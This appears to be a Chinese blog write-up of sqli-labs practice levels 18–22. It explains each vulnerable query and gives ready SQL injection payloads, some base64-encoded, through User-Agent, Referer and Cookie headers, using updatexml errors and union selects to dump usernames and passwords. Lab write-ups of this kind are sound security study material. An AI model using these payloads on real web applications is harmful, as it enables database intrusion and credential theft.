【sqli-labs】Less18~Less22

Less18: User-Agent注入，有错误回显

感叹一句，越来越难了。现在只能先看代码再分析怎么注入了.....

通过代码，发现username和password均做了校验。但是会有一个插入user-agent的sql语句。故要通过user-agent注入。

用户名密码就假设已知为admin/admin了。

还是用updatexml函数，用Burp Suite更改user-agent字段为：

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0' or updatexml(0,concat(0x7e, (select a from (select concat(username,':',password) a from users limit 0,1)x)),1)) -- a

显示报错：XPATH syntax error: '~Dumb:Dumb'

Less19:

与Less18几乎一模一样，就是注入位置变为Referer了

修改Referer为：

http://127.0.0.1/sqli-labs-master/Less-19/' or updatexml(0,concat(0x7e, (select a from (select concat(username,':',password) a from users limit 0,1)x)),1)) -- a

Less20: Cookie注入，有回显

这个开始看了半天没看懂....后来发现原来少看了最前面那个判断是否有cookie的if。

代码逻辑是，如果没有cookie，则生成cookie；如果有cookie则显示cookie相关的信息。

代码中设置cookie时用到的用户名和密码都是有检查的，无法注入。所以要从已有cookie时的查询语句入手。

SELECT * FROM users WHERE username='$cookee' LIMIT 0,1

看到就是普通的select语句，可以直接通过闭合注入。

此外还要知道cookie的格式，从代码中可以看到setcookie('uname', $cookee, time()+3600); 键是uname

故通过Burp suite添加cookie

uname=' union select 1, group_concat(concat(username,':',password)),3 from users -- a

注意，我们并不需要知道真实的用户名和密码，直接通过构造cookie就可以获取数据了。

Less21:Cookie注入，有回显，base64编码

与20的区别是对cookie值用base64进行了编码。故需要将注入语句

') union select 1, group_concat(concat(username,':',password)),3 from users -- a

进行编码，具体Cookie处注入

uname=JykgdW5pb24gc2VsZWN0IDEsIGdyb3VwX2NvbmNhdChjb25jYXQodXNlcm5hbWUsJzonLHBhc3N3b3JkKSksMyBmcm9tIHVzZXJzIC0tIGE=

Less22：Cookie注入，有回显，base64编码

其实就是把之前的单引号换成双引号了。

明文：

" union select 1, group_concat(concat(username,':',password)),3 from users -- a

base64编码的注入信息：

uname=IiB1bmlvbiBzZWxlY3QgMSwgZ3JvdXBfY29uY2F0KGNvbmNhdCh1c2VybmFtZSwnOicscGFzc3dvcmQpKSwzIGZyb20gdXNlcnMgLS0gYQ==

另外提供一个updatexml报错版本

练习用的，想一次性获取所有数据失败了，无法显示那么长的信息，只显示了一截。还是要一条一条的获取。另外用updatexml时在写注入语句的时候前面要加个0x7e，即~符号，可以使信息更加完整。

" or updatexml(1, concat(0x7e,(select a from (select group_concat(concat(username,':',password)) a from users)x),0x7e),0) -- a

base64编码

uname=IiBvciB1cGRhdGV4bWwoMSwgY29uY2F0KDB4N2UsKHNlbGVjdCBhIGZyb20gKHNlbGVjdCBncm91cF9jb25jYXQoY29uY2F0KHVzZXJuYW1lLCc6JyxwYXNzd29yZCkpIGEgZnJvbSB1c2Vycyl4KSwweDdlKSwwKSAtLSBh